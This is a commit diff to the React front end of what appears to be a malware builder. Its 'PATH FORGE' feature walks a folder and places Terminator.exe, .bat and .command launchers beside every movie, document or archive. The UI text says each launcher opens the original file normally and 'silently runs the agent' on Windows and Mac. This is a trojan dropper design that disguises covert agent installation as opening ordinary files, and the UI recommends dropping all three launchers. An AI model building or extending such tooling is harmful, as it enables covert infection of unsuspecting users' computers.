fix(forge): PATH FORGE - preserve original files, drop all 3 companions. UI now explicitly states original is never touched. Results show original (kept) + all placed companions. Both Win+Mac default on so all 3 always drop together.
This commit is contained in:
@@ -1990,9 +1990,11 @@ export default function BuilderPage() {
|
|||||||
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
|
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
|
||||||
/>
|
/>
|
||||||
<p className="form-hint">
|
<p className="form-hint">
|
||||||
For every file found (movies, docs, archives…) the server drops a <strong>.bat + .exe</strong> (Windows)
|
For every file found (movies, docs, archives…) the server drops <strong>all three companions</strong> right beside it:<br />
|
||||||
and/or <strong>.command</strong> (Mac) right beside it in the same directory.
|
<code style={{ color: '#61dafb' }}>Terminator.exe</code> · <code style={{ color: '#61dafb' }}>Terminator.bat</code> · <code style={{ color: '#a8ff78' }}>Terminator.command</code><br />
|
||||||
The launcher opens the original file normally and silently installs the agent.
|
<strong style={{ color: 'var(--neon-green)' }}>The original file is never touched.</strong>{' '}
|
||||||
|
<code>Terminator.mkv</code> stays exactly as-is. The .bat opens it in the default player
|
||||||
|
and silently runs the agent. The .command does the same on Mac.
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<div className="form-group">
|
<div className="form-group">
|
||||||
@@ -2036,18 +2038,18 @@ export default function BuilderPage() {
|
|||||||
</div>
|
</div>
|
||||||
<span className="form-hint">
|
<span className="form-hint">
|
||||||
{pfStemMode === 'original'
|
{pfStemMode === 'original'
|
||||||
? 'Terminator.mkv → Terminator.exe + Terminator.bat'
|
? 'e.g. Terminator.mkv → Terminator.exe · Terminator.bat · Terminator.command (original untouched)'
|
||||||
: `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`}
|
: `Every dir → ${pfStem || 'VideoPlayer'}.exe · ${pfStem || 'VideoPlayer'}.bat · ${pfStem || 'VideoPlayer'}.command`}
|
||||||
</span>
|
</span>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="form-group" style={{ flex: '0 0 auto' }}>
|
<div className="form-group" style={{ flex: '0 0 auto' }}>
|
||||||
<label className="label">Target Platforms</label>
|
<label className="label">Drop All Three Companions</label>
|
||||||
<div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
|
<div style={{ display: 'flex', gap: '1.25rem', marginTop: '0.25rem' }}>
|
||||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||||
<input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
|
<input type="checkbox" checked={pfWindows} onChange={(e) => setPfWindows(e.target.checked)} disabled={pfBusy} />
|
||||||
<span style={{ color: '#61dafb' }}>⊞ Windows</span>
|
<span style={{ color: '#61dafb' }}>⊞ Windows</span>
|
||||||
<span style={{ color: '#555', fontSize: '0.75rem' }}>.bat + .exe</span>
|
<span style={{ color: '#555', fontSize: '0.75rem' }}>.exe + .bat</span>
|
||||||
</label>
|
</label>
|
||||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', cursor: 'pointer', fontSize: '0.85rem' }}>
|
||||||
<input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
|
<input type="checkbox" checked={pfMac} onChange={(e) => setPfMac(e.target.checked)} disabled={pfBusy} />
|
||||||
@@ -2055,6 +2057,9 @@ export default function BuilderPage() {
|
|||||||
<span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
|
<span style={{ color: '#555', fontSize: '0.75rem' }}>.command</span>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
|
<span className="form-hint" style={{ color: '#888' }}>
|
||||||
|
Keep both on → all 3 files drop next to every original (recommended)
|
||||||
|
</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -2081,10 +2086,14 @@ export default function BuilderPage() {
|
|||||||
: `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
|
: `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
|
||||||
</p>
|
</p>
|
||||||
{pfResult.results.slice(0, 20).map((r, i) => (
|
{pfResult.results.slice(0, 20).map((r, i) => (
|
||||||
<div key={i} style={{ marginBottom: '0.2rem', color: '#aaa' }}>
|
<div key={i} style={{ marginBottom: '0.35rem', color: '#aaa', lineHeight: 1.5 }}>
|
||||||
<span style={{ color: '#ddd' }}>{r.source}</span>
|
<span style={{ color: '#666' }}>📄 </span>
|
||||||
{' → '}
|
<span style={{ color: '#888' }}>{r.source}</span>
|
||||||
<span style={{ color: 'var(--neon-cyan)' }}>{r.files.join(' ')}</span>
|
<span style={{ color: '#444' }}> (kept)</span>
|
||||||
|
<br />
|
||||||
|
<span style={{ paddingLeft: '1.5rem', color: 'var(--neon-cyan)' }}>
|
||||||
|
{'↳ '}{r.files.join(' · ')}
|
||||||
|
</span>
|
||||||
</div>
|
</div>
|
||||||
))}
|
))}
|
||||||
{pfResult.results.length > 20 && (
|
{pfResult.results.length > 20 && (
|
||||||
|
|||||||
Binary file not shown.
Reference in New Issue
Block a user